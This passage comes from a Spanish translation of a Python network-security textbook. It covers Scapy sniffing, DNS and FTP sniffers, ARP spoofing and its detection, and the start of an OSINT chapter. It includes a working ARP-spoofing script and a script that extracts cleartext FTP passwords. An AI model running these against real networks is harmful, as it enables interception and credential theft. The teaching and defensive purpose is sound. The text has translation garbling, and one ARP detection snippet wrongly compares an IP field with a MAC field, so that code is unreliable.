de paquetes específicos oDirectamente a una captura activa.
Podemos formatear la salida de sniff()para que se ajuste
exactamente a los datos que queremos ver. Capturaremos el
tráfico HTTP y HTTPS con el "tcp and (port 443 or port 80)"filtro
activado y, usando prn = lamba x: x.sprintf, podemos imprimir
los paquetes con el siguiente formato:
IP de origen y puerto de origen
IP de destino y puerto de destino
Banderas TCP
Carga útil del segmento TCP
En el siguiente ejemplo, usamos el sniff()método y
el prnparámetro especifica el formato anterior. Puedes
encontrar el siguiente código en
el sniff_packets_filter.pyarchivo dentro de la scapycarpeta.
from scapy.all import *
if __name__ == '__main__':
interfaces = get_if_list()
print(interfaces)
for interface in interfaces:
print(interface)
interface = input("Enter interface name to sniff: ")
print("Sniffing interface " + interface)
sniff(iface=interface,filter="tcp and (port 443 or port 80)",
prn=lambda x:x.sprintf("%.time% %-15s,IP.src% -> %-
15s,IP.dst% %IP.chksum% %03xr,IP.proto% %r,TCP.flags%"))
En el siguiente ejemplo, utilizamos el sniff()método , que toma
como parámetro la interfaz en la que se quieren capturar los
paquetes, y el parámetro de filtro se utiliza para especificar
qué paquetes se quieren capturar.Se desea filtrar.
El prnparámetro especifica la función a llamar y envía el
paquete como parámetro a la función. En este caso, nuestra
función personalizada...Se llama sniffPackets(). Puedes
encontrar el siguiente código en
el sniff_packets_filter_function.pyarchivo dentro de
la scapycarpeta:
from scapy.all import *
def sniffPackets(packet):
if packet.haslayer(IP):
ip_layer = packet.getlayer(IP)
packet_src=ip_layer.src
packet_dst=ip_layer.dst
print("[+] New Packet: {src} ->
{dst}".format(src=packet_src, dst=packet_dst))
if __name__ == '__main__':
interfaces = get_if_list()
print(interfaces)
for interface in interfaces:
print(interface)
interface = input("Enter interface name to sniff: ")
print("Sniffing interface " + interface)
sniff(iface=interface,filter="tcp and (port 443 or port
80)",prn=sniffPackets)
En el código anterior con la sniffPackets()función, verificamos si
el paquete detectado tiene una capa IP; si tiene una capa IP,
almacenamos los valores de origen, destino y TTL del paquete
detectado y los imprimimos.
Usando este haslayer()método, podemos verificar si un
paquete tiene una capa específica. En el siguiente ejemplo,
comparamos si el paquete tiene la misma capa IP y si la IP de
destino o de origen es igual a la dirección IP dentro de los
paquetes que capturamos.
>>> ip = "192.168.0.1"
>>> for packet in packets:
>>> if packet.haslayer(IP):
>>> src = packet[IP].src
>>> dst = packet[IP].dst
>>> if (ip == dst) or (ip == src):
>>> print("matched ip")
En el siguiente ejemplo, vemos cómo podemos aplicar acciones
personalizadas a los paquetes capturados. Definimos
un customAction()método que toma un paquete como
parámetro. Para cada paquete capturado por elsniff()Función:
llamamos a este método e incrementamos
la packetCountvariable. Puedes encontrar el siguiente código
en el sniff_packets_customAction.pyarchivo dentro de
la scapycarpeta:
from scapy.all import *
packetCount = 0
def customAction(packet):
global packetCount
packetCount += 1
return "{} {} → {}".format(packetCount, packet[0]
[1].src,packet[0][1].dst)
sniff(filter="ip",prn=customAction)
Al correrEn el script anterior, podemos ver el número de
paquete junto con las direcciones IP de origen y destino.
$ sudo python sniff_packets_customAction.py
1 192.168.18.21 → 151.101.134.49
2 192.168.18.21 → 18.202.191.241
3 192.168.18.21 → 151.101.133.181
4 192.168.18.21 → 13.248.245.213
….........
Continuamos analizando los paquetes ARP que se intercambian
en una interfaz. El Protocolo de Resolución de
Direcciones ( ARP ) es unprotocolo que se comunica con
interfaces de hardware en la capa de enlace de datos y
proporciona servicios a la capa superior.
Observe la presencia de la tabla ARP que se utiliza para
resolver una dirección IP a una dirección MAC y garantizar la
comunicación con esta máquina. En este punto, podríamos
monitorizar los paquetes ARP con la sniff()función y arpel filtro.
Puede encontrar el siguiente código en
el sniff_packets_arp.pyarchivo dentro de la scapycarpeta:
from scapy.all import *
def arpDisplay(packet):
if packet.haslayer(ARP):
if packet[ARP].op == 1: #request
print("Request: {} is asking about
{}".format(packet[ARP].psrc,packet[ARP].pdst))
if packet[ARP].op == 2: #response
print("Response: {} has MAC address
{}".format(packet[ARP].hwsrc,packet[ARP].psrc))
sniff(iface="wlo1",prn=arpDisplay, filter="arp", store=0,
count=10)
Al ejecutar el arp -helpcomando podremos ver las opciones que
nos proporciona:
$ arp -help
Usage:
arp [-vn] [<HW>] [-i <if>] [-a] [<hostname>] <-
Display ARP cache
arp [-v] [-i <if>] -d <host> [pub] <-Delete ARP
entry
arp [-vnD] [<HW>] [-i <if>] -f [<filename>] <-Add
entry from file
arp [-v] [<HW>] [-i <if>] -s <host> <hwaddr> [temp]
<-Add entry
arp [-v] [<HW>] [-i <if>] -Ds <host> <if> [netmask <nm>]
pub <-''-
-a display (all) hosts in alternative (BSD)
style
-e display (all) hosts in default (Linux) style
-s, --set set a new ARP entry
-d, --delete delete a specified entry
-v, --verbose be verbose
-n, --numeric don't resolve names
-i, --device specify network interface (e.g. eth0)
-D, --use-device read <hwaddr> from given device
-A, -p, --protocol specify protocol family
-f, --file read new entries from file or from
/etc/ethers
<HW>=Use '-H <hw>' to specify hardware address type.
Default: ether
List of possible hardware types (which support ARP):
ash (Ash) ether (Ethernet) ax25 (AMPR AX.25)
netrom (AMPR NET/ROM) rose (AMPR ROSE) arcnet (ARCnet)
dlci (Frame Relay DLCI) fddi (Fiber Distributed Data Interface)
hippi (HIPPI)
irda (IrLAP) x25 (generic X.25) infiniband (InfiniBand)
eui64 (Generic EUI-64)
Con elsiguientecomandos, mostramos todos los hosts donde
podemos ver las direcciones MAC e IP de la interfaz
especificada:
$ arp -e
Address HWtype HWaddress Flags Mask
Iface
_gateway ether f4:1d:6b:dd:14:d0 C
wlo1
$ arp -a
_gateway (192.168.18.1) at f4:1d:6b:dd:14:d0 [ether] on wlo1
Al ejecutar el script anterior, podemos ver las arpsolicitudes y
respuestas:
$ sudo python sniff_packets_arp.py
Request: 192.168.18.1 is asking about 192.168.18.21
Response: a4:4e:31:d8:c2:80 has MAC address 192.168.18.21
En elsiguientePor ejemplo, vemos cómo definir la función que
se ejecutará cada vez que se obtenga un paquete de tipo UDP
al realizar una solicitud DNS. Puede encontrar el siguiente
código en el sniff_packets_DNS.pyarchivo dentro de
la scapycarpeta.
from scapy.all import *
def count_dns_request(packet):
if DNSQR in packet:
print(packet.summary())
print(packet.show())
sniff(filter="udp and port
53",prn=count_dns_request,count=100)
En el código anterior, definimos
el count_dns_request(packet)método que se llama cuando
scapy encuentra un paquete con el protocolo UDP y el
puerto 53. Este método comprueba si el paquete es una
solicitud DNS. En este caso, muestra información sobre el
paquete con los métodos summary()y show(). Al ejecutar el
script anterior, podemos ver los paquetes DNS y, para cada
paquete, información sobre las capas Ethernet, IP UDO y DNS.
$ sudo python sniff_packets_DNS.py
Ether / IP / UDP / DNS Ans "b'ukc-word-
edit.wac.trafficmanager.net.b-0016.b-dc-msedge.net.b-0016.b-
msedge.net.'"
###[ Ethernet ]###
dst = a4:4e:31:d8:c2:80
src = f4:1d:6b:dd:14:d0
type = IPv4
###[ IP ]###
version = 4
ihl =5
tos = 0x0
len = 221
id = 35150
flags = DF
frag =0
ttl = 64
proto = udp
chksum = 0xb5b
src = 192.168.18.1
dst = 192.168.18.21
\options \
###[ UDP ]###
sport = domain
dport = 51191
len = 201
chksum = 0xe7e0
###[ DNS ]###
id = 2958
qr =1
opcode = QUERY
aa =0
tc =0
rd =1
ra =1
z =0
ad =0
cd =0
rcode = ok
qdcount = 1
ancount = 3
nscount = 0
arcount = 0
\qd \
|###[ DNS Question Record ]###
| qname = 'ukc-word-edit.officeapps.live.com.'
| qtype =A
| qclass = IN
\an \
|###[ DNS Resource Record ]###
| rrname = 'ukc-word-edit.officeapps.live.com.'
| type = CNAME
| rclass = IN
| ttl = 178
| rdlen = None
| rdata = 'ukc-word-edit.wac.trafficmanager.net.b-
0016.b-dc-msedge.net.b-0016.b-msedge.net.'
|###[ DNS Resource Record ]###
| rrname = 'ukc-word-edit.wac.trafficmanager.net.b-
0016.b-dc-msedge.net.b-0016.b-msedge.net.'
| type = CNAME
| rclass = IN
| ttl = 29
| rdlen = None
| rdata = 'b-0016.b-msedge.net.'
|###[ DNS Resource Record ]###
| rrname = 'b-0016.b-msedge.net.'
| type =A
| rclass = IN
| ttl = 145
| rdlen = None
| rdata = 13.107.6.171
ns = None
ar = None
PudimosSe mejoró el script anterior para capturar paquetes
DNS y obtener los dominios consultados. El siguiente script
contiene el analizador de red.Implementación que captura
todas las solicitudes DNS y devuelve una lista de dominios.
Puede encontrar el siguiente código en
el scapy_dns_sniffer.pyarchivo dentro de la scapycarpeta:
from scapy.all import sniff, DNSQR
number_dns_queries = 0
dns_domains = []
def count_dns_request(packet):
global number_dns_queries
if DNSQR in packet:
number_dns_queries += 1
if packet[DNSQR].qname not in dns_domains:
dns_domains.append(packet[DNSQR].qname)
En el código anterior, contamos los paquetes DNS y
almacenamos el resultado en una variable
global number_dns_queries. También almacenamos en
la dns_domainslista el nombre de los servidores de nombres
que obtenemos al acceder al atributo de nombre de cada
paquete.
Continuamos con el programa principal, donde utilizamos
el sniff()método para capturar paquetes UDP en el puerto 53.
Una vez finalizada la captura, mostramos los resultados
almacenados en las variables globales mencionadas
anteriormente.
def main():
print("[*] Executing DNS sniffer...")
print("[*] Stop the program with Ctrl+C and view the
results...")
try:
a = sniff(filter="udp and port 53",
prn=count_dns_request, count=500)
except KeyboardInterrupt:
pass
print("[*] Sniffer stopped. Showing results")
print("Number dns queries:",number_dns_queries)
print("[+] Domains:")
for domain in dns_domains:
print(domain.decode())
if __name__ == '__main__':
main()
Para elejecución del código anterior, el lector debe detenerlo
con elCombinación de teclas Ctrl + C para ver las consultas
DNS impresas en la consola.
$ sudo python scapy_dns_sniffer.py
[*] Executing DNS sniffer...
[*] Stop the program with Ctrl+C and view the results...
^C [*] Sniffer stopped. Showing results
Number dns queries: 186
[+] Domains:
signaler-pa.clients6.google.com.
Api.swapcard.com.
ukc-word-edit.officeapps.live.com.
Browser.events.data.microsoft.com.
Incoming.telemetry.mozilla.org.
contile-images.services.mozilla.com.
Docs.google.com.
...........
Análisis forense de redes con Scapy
Scapy estambiénResulta útil para realizar análisis forense de
red ante ataques de inyección SQL o extraer credenciales FTP
de un servidor. Con el módulo Scapy de Python, podemos
analizar los paquetes de red para identificar cuándo, dónde y
cómo un atacante realiza este tipo de ataque.
Por ejemplo, podríamos desarrollar un script simple para
detectar las credenciales de usuario FTP al iniciar sesión en el
servidor FTP.Puede encontrar el siguiente código en
el scapy_ftp_sniffer.pyarchivo dentro de la scapycarpeta:
import re
import argparse
from scapy.all import sniff, conf
from scapy.layers.inet import IP
def ftp_sniff(packet):
dest = packet.getlayer(IP).dst
raw = packet.sprintf('%Raw.load%')
print(raw)
user = re.findall(f'(?i)USER (.*)', raw)
password = re.findall(f'(?i)PASS (.*)', raw)
if user:
print(f'[*] Detected FTP Login to {str(dest)}')
print(f'[+] User account: {str(user[0])}')
if password:
print(f'[+] Password: {str(password[0])}')
Para extraer las credenciales de conexión a un servidor FTP,
creamos una función auxiliar que comprueba si el paquete
incluye el puerto en la capa de transporte especificada. Si se
trata de un paquete asociado a un puerto 21y utiliza TCP,
comprobamos los datos de texto plano relacionados con el
usuario y la contraseña.
Ennuestro programa principal, configuramos los parámetros
necesarios para la ejecución del script, y utilizamos
la sniff()función para filtrar los paquetes TCP en el
puerto 21correspondiente al servicio FTP:
if __name__ == '__main__':
parser = argparse.ArgumentParser(usage='python3
ftp_sniff.py <interface>')
parser.add_argument('interface', type=str,
metavar='INTERFACE',
help='specify the interface to listen on')
args = parser.parse_args()
try:
sniff(iface=args.interface,filter='tcp port 21',
prn=ftp_sniff)
except KeyboardInterrupt:
exit(0)
Para probar el script anterior, podemos capturar paquetes en la
interfaz seleccionada y conectarnos al servidor FTP al mismo
tiempo:
$ sudo python scapy_ftp_sniffer.py wlo1
'USER anonymous\r\n'
[*] Detected FTP Login to 64.50.236.52
[+] User account: anonymous\r\n'
??
'331 Please specify the password.\r\n'
??
'PASS \r\n'
[+] Password: \r\n'
'230 Login successful.\r\n'
$ ftp ftp.us.debian.org
ftp: Trying 64.50.236.52 ...
Connected to ftp.us.debian.org.
Name (ftp.us.debian.org:linux): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
Trabajar con scapy para detectar ataques de suplantación de
ARP
Suplantación de ARP, tambiénConocido como envenenamiento
ARP, es un tipo de ataque en el que un usuario
malintencionado envía mensajes ARP falsificados a través
de una red local (LAN) . Esto hace que la dirección MAC del
atacante coincida con la dirección IP de un ordenador o
servidor legítimo en una red.
EsteEl ataque nos permite envenenar las tablas de caché ARP
de nuestras víctimas y ejecutar ataques.como Man in the
Middle ( MITM ), Denegación de Servicio ( DoS )
oSecuestro de sesión entre otras técnicas.
Este ataque consiste en enviar mensajes ARP falsos y su
objetivo es asociar la dirección MAC del atacante con la
dirección IP de otro nodo, como la puerta de enlace
predeterminada. El objetivo es enviar un paquete al ordenador
de la víctima (referenciado por las direcciones IP y MAC),
asociando la IP de la puerta de enlace con nuestra dirección
MAC (la del ordenador atacante). Como resultado, las tablas
ARP del ordenador víctima se modifican con las direcciones
MAC del ordenador atacante.
Entre los principales elementos implicados en este ataque
podemos destacar:
La dirección IP de origen ( psrc)
La dirección IP de destino ( pdst)
La dirección MAC de origen ( hwsrc)
La dirección MAC de destino ( hwdst)
En elEn el siguiente script, implementamos la suplantación de
ARP, donde solicitamos las direcciones IP de destino y de
puerta de enlace. A partir de estas,Direcciones IP: obtenemos
las direcciones MAC de origen y destino. Finalmente,
implementamos el arp_spoofing()método para enviar
solicitudes ARP. Puedes encontrar el siguiente código en
el scapy_arp_spoofing.pyarchivo dentro de la scapycarpeta:
from scapy.all import *
def get_mac_address(ip_address):
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request = ARP(pdst=ip_address)
arp_request_broadcast = broadcast / arp_request
answered_list =
srp(arp_request_broadcast,timeout=1,verbose=False)
return answered_list[0][0][1].hwsrc
def
arp_spoofing(target_ip,gateway_ip,target_mac,gateway_mac):
packet =
ARP(op=2,pdst=target_ip,hwdst=target_mac,psrc=gateway_ip)
send(packet, count=2, verbose=False)
packet =
ARP(op=2,pdst=gateway_ip,hwdst=gateway_mac,psrc=target_
ip)
send(packet, count=2, verbose=False)
if __name__ == '__main__':
target_ip = input("Enter Target IP:")
gateway_ip = input("Enter Gateway IP:")
target_mac = get_mac_address(target_ip)
gateway_mac = get_mac_address(gateway_ip)
arp_spoofing(target_ip,gateway_ip,target_mac,gateway_mac
)
Continuaremos con cómo podemos detectar este tipo de
ataques utilizando scapy.
Detección de ataques ARP falsos mediante Scapy
Nuestro guióntendráLa capacidad de detectar si algún paquete
tiene una capa ARP falsificada. La sniff()función recibirá una
llamada de retorno para cada paquete que se analice. Con el
argumento store = False, le indicamos a la sniff()función que
descarte los paquetes analizados en lugar de almacenarlos en
memoria, lo cual resulta útil cuando el script se ejecuta durante
un tiempo prolongado.
Podemos usar el siguiente comando para comprobar la interfaz
de la máquina que queremos rastrear:
>>> conf.iface
<NetworkInterface wlo1 [UP+BROADCAST+RUNNING+SLAVE]>
AAverigua siSi hay suplantación de ARP, se compara la MAC de
la respuesta con la MAC original. Si no son iguales, significa que
se está produciendo un ataque de suplantación de ARP:
>>> for packet in packets:
>>> if packet[ARP].op == 2:
>>> real_mac = packet[ARP].psrc
>>> response_mac = packet[ARP].hwsrc
>>> if real_mac != response_mac:
>>> print("[+]ARP Spoofing detected:
",packet[ARP].psrc,packet[ARP].pdst)
Podemos empezar a crear una función que, dada una dirección
IP, obtenga la dirección MAC. Para ello, podemos realizar una
solicitud ARP usando la función ARP y obtener la dirección MAC
de una dirección IP dada. En esta función, lo que hacemos es
establecer la dirección MAC de difusión en [ "ff: ff: ff: ff: ff:
ff"nombre del Ethermétodo]. Para obtener la dirección MAC,
podemos usar el srp()método y acceder al hwsrccampo del
resultado devuelto por esta función. Puedes encontrar el
siguiente código en el scapy_arp_sniffer.pyarchivo dentro de
la scapycarpeta.
import scapy.all as scapy
def sniff(interface):
scapy.sniff(iface=interface, store=False,
prn=process_sniffed_packet)
def get_mac_address(ip_address):
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request = ARP(pdst=ip_address)
arp_request_broadcast = broadcast / arp_request
answered_list =
srp(arp_request_broadcast,timeout=1,verbose=False)
return answered_list[0][0][1].hwsrc
def process_sniffed_packet(packet):
if packet.haslayer(scapy.ARP) and packet[scapy.ARP].op ==
2:
originalmac = get_mac_address(packet[scapy.ARP].psrc)
responsemac = packet[scapy.ARP].hwsrc
if originalmac != responsemac:
print("[*] ALERT!!! You are under attack, ARP table is
being poisoned.!")
if __name__ == '__main__':
sniff("wlo1")
En el código anterior, definimos
un process_sniffed_packet()método para procesar un objeto
rastreado.Paquete. Este método permite comprobar si el
paquete es un paquete ARP o una respuesta ARP. Al comprobar
si nuestra red está sufriendo un ataque de este tipo, el
objetivo...Consiste en comparar la dirección MAC original con la
MAC de la respuesta. Si son diferentes, significa que se ha
producido una suplantación de ARP debido a un cambio en la
tabla ARP.
Aplicadas al campo de la seguridad informática, estas
herramientas permiten realizar análisis y/o ataques de red. La
principal ventaja de scapy es que permite modificar paquetes
de red a bajo nivel, lo que permite utilizar protocolos de red
existentes y parametrizarlos según las necesidades.
Resumen
En este capítulo, analizamos los fundamentos de la creación y
el rastreo de paquetes con módulos de Python como pcapy-
ng y scapy . Durante nuestras evaluaciones de seguridad,
podríamos necesitar la salida sin procesar y acceder a los
niveles básicos de la topología de paquetes para analizar la
información y tomar decisiones por nuestra cuenta. Lo más
atractivo de scapy es que se puede importar y usar para crear
herramientas de red sin tener que crear paquetes desde cero.
En el siguiente capítulo, exploraremos paquetes de
programación en Python que nos ayudan a extraer información
pública de servidores mediante herramientas de Inteligencia
de Fuentes Abiertas ( OSINT ). También revisaremos
herramientas para obtener información relacionada con
banners y servidores DNS, así como otras herramientas para
aplicar procesos de fuzzing con Python.
Preguntas
Para concluir, aquí tienes una lista de preguntas para que
pongas a prueba tus conocimientos sobre el material de este
capítulo. Encontrarás las respuestas en la sección de
Evaluaciones del Apéndice .
1. ¿Cuál es la función scapy que puede capturar paquetes de
la misma manera que herramientas como tcpdump o
Wireshark?
2. ¿Cuál es el método que se debe invocar con scapy para
verificar si un puerto específico (port) está abierto o
cerrado en una máquina específica (host) y mostrar
información detallada sobre cómo se envían los paquetes?
3. ¿Qué funciones son necesarias para implementar
el traceroutecomando en scapy?
4. ¿Cuales son los métodos para enviar un paquete en
scapy?
5. ¿Qué parámetro de la sniff()función nos permite definir
una función que se aplicará a cada paquete capturado?
Lectura adicional
En los siguientes enlaces encontrarás más información sobre
las herramientas mencionadas y la documentación oficial de
Python para algunos de los módulos comentados:
Documentación de
Scapy: https://scapy.readthedocs.io/en/latest/
Herramientas desarrolladas con
scapy: https://github.com/secdev/awesome-
scapy#tools
Comenzando con
scapy: https://scapy.readthedocs.io/es/latest/usage.
html
Analizadores de tráfico de red útiles desarrollados
con Python :
https://github.com/Roshan-Poudel/Python-Scapy-Packet-
Sniffer
https://github.com/EONRaider/Packet-Sniffer
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
Sección 3
Scripting de servidor y escaneo de puertos con Python
En esta sección, aprenderá a utilizar bibliotecas de Python para
scripts de servidor para recopilar información de servidores
mediante herramientas OSINT y a conectarse a muchos tipos
diferentes de servidores para detectar vulnerabilidades con
herramientas específicas como el escaneo de puertos.
Esta parte del libro comprende los siguientes capítulos:
Capítulo 6 , Recopilación de información de servidores con
herramientas OSINT
Capítulo 7 , Interacción con servidores FTP, SFTP y SSH
Capítulo 8 , Trabajando con el escáner Nmap
6
Recopilación de información de servidores con herramientas
OSINT
Este capítulo le presentará los módulos que permiten extraer
información de servidores expuestos públicamente mediante
herramientas de Inteligencia de Fuentes
Abiertas ( OSINT ). La información recopilada, como un
dominio, un nombre de host o un servicio web, será muy útil
durante las pruebas de penetración o las auditorías.
Revisaremos herramientas como Google Dorks, SpiderFoot,
dnspython, DNSRecon y otras para aplicar procesos de fuzzing
con Python. El reconocimiento OSINT y el fuzzing de
aplicaciones tienen propósitos diferentes. OSINT suele ser un
ejercicio pasivo destinado a recopilar información que luego
puede utilizarse para ataques, mientras que el fuzzing consiste
en ataques de inyección automatizados. En este punto,
podríamos usar técnicas OSINT para enfocar el fuzzing o los
ataques automatizados.
En este capítulo se tratarán los siguientes temas:
Los conceptos básicos de OSINT
Consultas de Google Dorks para obtener información
sobre el dominio de destino
Obteniendo información de servidores y dominios usando
SpiderFoot
Obtener información sobre servidores DNS con las
herramientas dnspython y DNSRecon
Obtener direcciones vulnerables en servidores con fuzzing
Requisitos técnicos
Para aprovechar al máximo este capítulo, necesitará instalar
una distribución de Python en su equipo local y tener
conocimientos básicos del protocolo HTTP. Trabajaremos con la
versión 3.10 de Python, disponible
en https://www.python.org/downloads .
Los ejemplos y el código fuente de este capítulo están
disponibles en el repositorio de GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking .
Algunas de las herramientas explicadas en este capítulo
requieren la instalación de los siguientes programas:
Docker: https://www.docker.com .
Mira el siguiente video para ver el código en
acción: https://packt.link/Chapter06 .
Introducción a la inteligencia de fuentes abiertas (OSINT)
OSINT es la recopilación y el análisis de información de acceso
público para producir inteligencia procesable. OSINT esSe
utilizan en diversos campos, como el financiero, el tecnológico,
el policial, el militar y el de marketing. Por ejemplo, las técnicas
OSINT permiten realizar investigaciones dentro de las fuerzas
del orden para identificar posibles amenazas terroristas o
rastrear a personas.
Si nos centramos en la ciberseguridad, encontraremos que
OSINT tiene varias aplicaciones:
Se utiliza durante la etapa de reconocimiento de
pruebas de penetración con el objetivo de descubrir
hosts en unOrganización. Ejemplos: información Whois,
descubrimiento de subdominios, información DNS,
búsqueda de archivos de configuración, búsqueda de
contraseñas.
Este tipo de técnicas se utilizan a menudo
en ataques de ingeniería social con el objetivo de obtener
toda la información sobre un usuario específico en redes
sociales. Desde una perspectiva defensiva, conocer la
información públicamente disponible para actores
maliciosos permitirá evitar caer en un ataque de phishing.
Se utiliza para la prevención de ciberataques ,
obteniendo información que nos alerta sobre una
amenaza que nuestra organización pueda sufrir. Por
ejemplo, una empresa podría usar técnicas OSINT para
detectar posibles vulnerabilidades o puntos débiles en su
organización, ya sea a nivel de infraestructura o en redes
sociales, con el fin de detectar información que un
atacante podría utilizar.
La disciplina OSINT consiste en un proceso que permite
transformar los datos obtenidos de diversas fuentes públicas y
accesibles en información, convirtiéndola en inteligencia que
permite la toma de decisiones. El proceso que la mayoría de las
organizaciones siguen para obtener información sobre un
objetivo específico se conoce en el sector como Ciclo de
Inteligencia y consta de las siguientes fases:
Requisitos : Es la fase en la que se establecen todos los
requisitos que deben cumplirse y plantearse por el
decisor.
Fuentes de información : Hay que tener en cuenta que
el volumen de información disponible en internet es
prácticamente infinito, por lo que debemos identificar y
especificar las fuentes más relevantes para optimizar el
proceso de adquisición.
Proceso de adquisición : Este es elEtapa en la que
obtenemos la información.
Procesamiento y Análisis : Consiste en formatear todo
lo que hemos encontrado, filtrar, clasificar y establecer los
niveles de prioridad de los datos obtenidos.
Inteligencia : Consiste en presentar la información
obtenida de forma eficaz, útil y comprensible, para que
pueda ser correctamente explotada, respondiendo a todas
las preguntas iniciales y permitiendo al decisor tomar
decisiones.
El uso de herramientas facilitará la investigación. Cada
herramienta profundiza en un área específica y su combinación
nos permitirá obtener una gran cantidad de información para
nuestra investigación. A continuación, analizaremos estas
herramientas con más detalle.
Google Dorks y la base de datos de hackers de Google
Google Dorks o Dorking, también conocido comoGoogle
Hacking, es una técnica que consistede aplicar la búsqueda
avanzada de Google para encontrar información específica en
Internet filtrando los resultados con operadores conocidos
como Dorks, queson símbolos que especifican una condición.
Por ejemplo, si desea saber si sus credenciales de inicio de
sesión están expuestas en cualquier servicio en línea que
utiliza, puede utilizar el operador inurl e intext de la siguiente
manera: inurl: [URL del sitio web] Y intext: [contraseña] .
Google indexa automáticamente el contenido de cualquier sitio
web, lo que nos permite obtener información de cualquier tipo.
En la base de datos de hacking de Google
( https://www.exploit-db.com/google-hacking-database ),
encontramos una amplia colección de Dorks que otros hackers
utilizan para realizar búsquedas avanzadas.
Figura 6.1: Servicio de base de datos de piratería de Google
El hackeo de GoogleLa base de datos es un servicio que está
disponible en el exploit-db.comsitio y tiene un conjunto de
patrones de búsqueda basadosEn Google, los usuarios buscan
información. En el sitio web, se pueden seleccionar diferentes
categorías, como servidores vulnerables, filtraciones de
información confidencial, archivos vulnerables, mensajes de
error específicos, etc.
Maltego
Maltego ( https://www.maltego.com ) es una potente
herramienta que recopila información sobre un objetivo y nos la
muestra en elforma de unagrafo, lo que nos permite analizar
las diferentes relaciones que se establecen entre los nodos y
las entidades que lo conforman. Es una herramienta
interesante cuandoNos centramos en una empresa, persona o
sitio web en las etapas iniciales de reconocimiento, ya que nos
devolverá una gran cantidad de información cruzada y nos
ayudará a realizar múltiples enumeraciones en vectores que
podemos seguir investigando.
Esta herramienta puede recopilar información en fuentes
abiertas de elementos como dominios, direcciones IP y correos
electrónicos. Maltego trabaja con el concepto de
transformaciones, que equivalen a realizar búsquedas para
obtener información sobre una entidad determinada. Se
pueden ejecutar transformaciones en cada uno de estos
elementos, que son rutinas que permiten analizar y recopilar la
mayor cantidad de información posible basándose en un tipo
específico de datos. En la siguiente captura de pantalla,Puede
ver los servidores DNS y los servidores NS obtenidos a través
del dominio python.org .
Figura 6.2: Ejecución de transformaciones en un servidor DNS
Una vez que tenemosUna vez obtenidos los servidores DNS del
dominio python.org , podemos usar las transformaciones en
esta entidad para realizar búsquedas específicas. Por ejemplo,
podríamos buscar direcciones de correo electrónico o realizar
búsquedas inversas.
En la siguiente captura de pantalla, podemos ver las
transformaciones que podríamos aplicar sobre
la mail.python.orgentidad.
Figura 6.3: Ejecución de transformaciones en un servidor DNS
Fotón
Photon ( https://github.com/s0md3v/Photon ) funciona
como un rastreador que realiza todo el proceso de búsqueda
yExtrayendo información depáginas web que utilizan técnicas
de web scraping. En elDespués de la ejecución, usamos
el scanme.nmap.orgdominio para extraer URL mediante
rastreadores web.
$ python3.10 photon.py -u scanme.nmap.org -l 3 -t 100 --
wayback
____ __ __
/ __ \/ /_ ____ / /_____ ____
/ /_/ / __ \/ __ \/ __/ __ \/ __ \
/ ____/ / / / /_/ / /_/ /_/ / / / /
/_/ /_/ /_/\____/\__/\____/_/ /_/ v1.3.2
[~] Fetching URLs from archive.org
[+] Retrieved -1 URLs from archive.org
[~] Level 1: 1 URLs
[!] Progress: 1/1
[~] Level 2: 1 URLs
[!] Progress: 1/1
[~] Crawling 1 JavaScript files
[!] Progress: 1/1
--------------------------------------------------
[+] Internal: 3
[+] Scripts: 1
[+] External: 37
--------------------------------------------------
[!] Total requests made: 4
[!] Total time taken: 0 minutes 2 seconds
[!] Requests per second: 1
[+] Results saved in scanme.nmap.org directory
La cosechadora
The Harvester
( https://github.com/laramies/theHarvester ) es una
interesante herramienta de línea de comandos desarrolladaen
Python queRecopila información pública en la web (correos
electrónicos, subdominios, nombres, URL). Esta recopilación de
información...Se puede realizar de dos maneras: pasiva y
activa. Con el escaneo pasivo, no interactuamos con el objetivo
en ningún momento y obtenemos toda la información a través
de los diferentes motores de búsqueda integrados en la
herramienta. Por otro lado, el escaneo activo interactúa con el
objetivo mediante técnicas de fuerza bruta.
Censys
Censys es un potente buscadormotor para dispositivos
conectados aInternet. Se asemeja a Shodan, pero puede ser
una herramienta complementaria para las investigaciones, ya
que presenta diferentes sutilezas en su funcionamiento que nos
permitirán alcanzar distintos resultados.
Podemos utilizar este servicio para buscar hosts, dominios y
direcciones IP.
Figura 6.4: Búsqueda en Censys de un host específico
crt.sh
crt.sh nos permite encontrarsubdominios basados en
certificadoRegistros de transparencia. crts.sh permite buscar
certificados SSL/TLS utilizados por una CA o un dominio. Con la
siguiente solicitud, podemos obtener subdominios
del python.orgdominio ( https://crt.sh/?q=python.org ).
Figura 6.5: Obtener subdominios usando el servicio crt.sh
DnsDumpster
DnsDumpster ( https://dnsdumpster.com ) es una
interesante herramienta que, a través de su buscador, nos
proporcionaCon una gran cantidad de información sobre un
dominio. Toda la información se recopila consultando diferentes
motores de búsqueda, sin necesidad de forzar el dominio
objetivo. Los datos se obtienen mediante consultas en
plataformas.como Alexa, el motor de búsqueda número uno del
mundo (Google, Bing, etc.), Common Crawl, Certificate
Transparency, Max Mind, Team Cymru, Shodan y scans.io.
En la siguiente captura de pantalla, podemos ver los servidores
DNS y los registros MX del python.orgdominio.
Figura 6.6: Obtener servidores DNS usando el servicio
DnsDumpter
Wayback Machine
La “máquina del tiempo” de Internet ( https://archive.org ) es
unarecurso que nos permite visualizar páginas web en
diferentesTiempos pasados. Este proyecto ha archivado
diferentes versiones de páginas web desde 1996 y cuenta con
544 mil millones de páginas web. Wayback Machinenos permite
ver un sitio web replicado en diferentes fechas, lo que nos da la
posibilidad de consultar información que ha sido eliminada u
oculta.
En la siguiente captura de pantalla, podemos ver el archivo
web del python.orgdominio entre los años 2000 y 2023.
Figura 6.7: Archivo web para el dominio python.org
Marco OSINT
El marco OSINT ( https://osintframework.com ) es un
proyecto que compila numerosas herramientas OSINT. En el
marco OSINTsitio web, podemosEncuentre enlaces a las
diferentes herramientas ordenadas por diferentes categorías.
Muchas de ellas son herramientas web y otras enlazan al
repositorio de GitHub desde donde podemos instalar la
herramienta.
Figura 6.8: Marco OSINT
Mirlo
BlackBird ( https://github.com/p1ngul1n0/blackbird ) es
una herramienta OSINT que nos permite buscar cuentas
rápidamentepor nombre de usuario en diferentes redes
socialesl redes. Cada vez que realiza una búsqueda de nombre
de usuario, la herramienta tienela capacidad de utilizar
